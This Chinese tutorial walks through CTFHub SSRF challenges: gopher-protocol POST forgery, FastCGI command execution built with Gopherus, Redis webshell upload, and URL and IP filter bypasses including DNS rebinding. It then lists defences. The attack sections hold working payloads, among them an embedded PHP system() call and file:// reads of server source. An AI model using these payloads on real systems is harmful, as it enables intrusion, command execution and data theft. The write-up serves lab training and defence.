CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)
字数 1156 2025-08-19 12:41:24
SSRF漏洞原理、攻击与防御高级教程
1. SSRF基础概念
SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者可以利用该漏洞绕过访问限制,访问内部系统资源或发起恶意请求。
2. 文件上传利用
2.1 题目分析
- 目标:上传文件到内网的flag.php
- 限制:无提交按钮,仅能通过127.0.0.1访问
2.2 解决方案
-
手动添加提交按钮:
<button>Submit</button> -
查看源码:
使用file协议读取flag.php源码:file:///var/www/html/flag.php -
源码分析:
<?php error_reporting(0); // 限制仅允许127.0.0.1访问 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } // 检查上传文件 if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> -
构造POST请求:
使用Gopher协议构造POST请求,绕过IP限制:gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0A...
3. FastCGI协议攻击
3.1 FastCGI简介
FastCGI是一种通信协议,用于在Web服务器和应用程序间传输数据。
3.2 攻击步骤
-
使用Gopherus工具:
git clone https://github.com/tarunkant/Gopherus.git python2 Gopherus.py -
构造Payload:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWARE... -
执行命令:
在Payload中包含要执行的命令:<?php system('cat /f*');die('-----Made-by-SpyD3r-----%0A');?>
4. Redis协议攻击
4.1 攻击流程
-
使用Gopherus生成Payload:
gopher://127.0.0.1:6379/_... -
上传Webshell:
通过Redis协议上传PHP Webshell。 -
查找flag:
find / -name flag* cat /path/to/flag
5. URL Bypass技术
5.1 常见绕过方法
-
HTTP基本认证绕过:
http://notfound.ctfhub.com@127.0.0.1/flag.php -
特殊字符绕过:
- @符号:
http://www.aaaa.com@www.xxx.com - ?号:
http://www.aaaa.com?www.xxx.com - #号:
http://www.aaaa.com#www.xxx.com - 斜杠:
http://www.aaaa.com/www.xxx.com
- @符号:
5.2 数字IP绕过
当127.0.0.1被过滤时:
- 使用localhost
- 十六进制:
0x7f000001 - 八进制:
0177.000.000.001 - 十进制:
2130706433
6. 302跳转Bypass
6.1 原理
利用服务器端跳转绕过SSRF限制。
6.2 实现方式
-
使用localhost:
http://localhost/flag.php -
DNS重绑定:
- 使用工具:https://lock.cmpxchg8b.com/rebinder.html
- 构造Payload:
?url=7f000001.7f000002.rbndr.us/flag.php
7. 防御措施
-
输入验证:
- 严格校验用户输入的URL
- 禁止内网IP和特殊协议
-
白名单机制:
- 仅允许访问特定的域名和IP
-
协议限制:
- 禁用危险的协议如gopher://, file://等
-
错误处理:
- 不返回详细的错误信息
-
网络隔离:
- 限制服务器对外请求的能力
8. 总结
SSRF漏洞危害严重,可以导致内网渗透、敏感信息泄露等风险。防御SSRF需要从多个层面进行防护,包括输入验证、协议限制、网络隔离等。理解各种绕过技术有助于更好地防御此类漏洞。